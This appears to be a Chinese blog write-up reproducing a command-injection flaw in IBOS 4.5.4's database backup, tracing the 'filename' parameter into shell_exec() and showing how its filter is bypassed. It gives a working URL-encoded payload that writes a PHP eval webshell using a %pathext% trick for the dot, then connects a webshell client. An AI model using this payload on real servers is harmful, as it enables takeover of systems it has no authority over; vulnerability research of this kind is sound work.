赞
踩
IBOS存在命令注入漏洞,该漏洞源于IBOS 4.5.4 Open版本中,数据库备份存在命令注入漏洞。攻击者可利用该漏洞获取服务器控制权限。
官网下载源码,我们利用在虚拟机上运行SeayDzend解密工具来解密源码。第一步,
定位危险函数shell_exec()
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
来解析一下这段危险函数的作用:
- 1. shell_exec() 函数用来执行 shell 命令,并返回输出结果。
- 2. {$mysqlBin}mysqldump 是执行 MySQL 数据库导出命令的部分。 $mysqlBin 是 MySQL 可执行文件的路径。
- 3. --force 参数用来强制执行导出操作。
- 4. --quick 参数用来快速导出数据库。
- 5. $command1 、 $command2 、 $command3 、 $command5 是一些额外的命令参数。
- 6. --add-drop-table 参数用来在导出数据之前删除目标数据库中的所有表。
- 7. --host="{$db["host"]}" 参数指定了数据库的主机地址。
- 8. $command5 是另一个额外的命令参数。
- 9. --user="{$db["username"]}" 参数指定了连接数据库所使用的用户名。
- 10. --password="{$db["password"]}" 参数指定了连接数据库所使用的密码。
- 11. {$db["dbname"]} 是要导出的数据库的名称。
- 12. $tablesstr 是要导出的表的列表,如果为空则导出所有表。
- 13. > 符号将导出的数据重定向到指定的文件中,文件路径由 $dumpFile 指定。
总之,这段代码就是这段代码使用 shell_exec() 函数执行了一个 shell 命令,该命令通过调用 MySQL 的 mysqldump 工具来导出指定数据库的数据,并将结果保存到指定的文件中,而代码其中的文件路径$dumpFile就是我们可以利用的(在源码审计时,一般出现在危险函数末尾的变量可以让我们拼接恶意代码)
第二步,继续向上寻找$dumpFile的位置,看看$dumpFile如何生成定位到$dumpFile的赋值处
$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . "/" . $backupFileName . ".sql";
代码分析:
- 1. 首先,使用函数core\utils\PATH_ROOT获取根路径,并通过函数core\utils\addslashes对路径进行转义处理。
- 2. 将转义后的根路径与"/"和备份文件名以及".sql"后缀拼接起来。
- 3. 最后,将拼接后的路径存储在变量$dumpFile中。
查看$dumpfile函数的生成,发现生成文件后缀固定是.sql,但可以用”||”或”&&”拼接指令。继续跟进到$backupFileName函数,跟踪$backupFileName这个变量是怎么生成的,有进行那些防御操作
$backupFileName = self::BACKUP_DIR . "/" . core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
代码解析:
- 1.将给定的文件名作为参数传递给str_replace函数。
- 2.str_replace函数中的第一个参数是一个包含多个要替换的字符串的数组,包括"/"、"\\"、"."和"'"。
- 3.str_replace函数将文件名中的斜杠、反斜杠、点和单引号替换为空字符串。
- 4.将替换后的文件名与备份目录路径(BACKUP_DIR)拼接起来,形成备份文件的完整路径。
- 5.备份文件名赋值给变量$backupFileName。
这里说明了$backupFileName是由$fileName过滤而来的,这里就又需要我们去定位$fileName
解析一下$fileName的生成代码:
$fileName = core\utils\Env::getRequest("filename");
- 1.使用core\utils\Env类的getRequest方法获取请求参数"filename"的值。
- 2.将获取到的值赋值给变量$fileName。
(跟进getRequest方法的过程太过复杂,这里不陈述)总之一句话解释这个方法就是请求传参接收数据,相当于
$_GET["filename"] 或者 $_POST["filename"]
分析了那么多源码,我们在这里捋一捋利用思路。首先,我们在databaseBackup()方法中找到一个传参$filename,通过对它的构造将值通过过滤后传递给$backupFileName,然后$backupFileName又将构造的恶意指令代码拼接进$dumpfile中,最后通过shell_exec()方法执行我们构造的命令,然后通过上webshell的方式来getshell。
这里补充一点:想要执行shell_exec()方法,必须要让这里的值不等于”multivol”
至于具体原因,看下图(由于这里的条件判断内容过长,关键信息定位可能有些许误差,看懂就好)
本地搭建环境,登录管理员账号,然后点击后台
找到对应功能块(这里有很明显的提示使用dump备份)
接下来就是绕过之前在源码中看到的对文件名的过滤了(点,单引号),用burpsuite抓个包,构造payload,插入文件名中
%26echo%20"<?php%20eval($_REQUEST[8]);?>"%20>1%pathext:~0,1%php%26
解析:
-
- %20: url编码过后的空字符(编码原因,这里的filename采用get传参,具体为什么是get传参原因看上面源码分析)
-
- %26:url编码过后的'&',用于执行多条命令
-
- echo "<?php%20eval($_REQUEST[8]);?>" >文件名:将webshell写入指定文件中(更加常见的写法应该是这样的:
- echo '<?php%20eval($_REQUEST[8]);?>' >1.php)
-
- %pathext:~0,1%:windows终端中pathext变量默认值是.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH,然后通过%%来引用pathext中的值,同时在变量名后加上:~0,1用于切割变量值,只留第一位的变量值,也就是'.',这样就实现了绕过。
(这里贴一篇文章:https://bbs.zkaq.cn/t/4557.html,这里详细地介绍了这种绕过方法的原理)
补充:sql文件名是我们可控的参数,通过将命令拼接进改文件名中,可以实现命令注入
我们通过抓包,修改传入的文件名
通过phpinfo()检验一下webshell是否可用
连接蚁剑
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。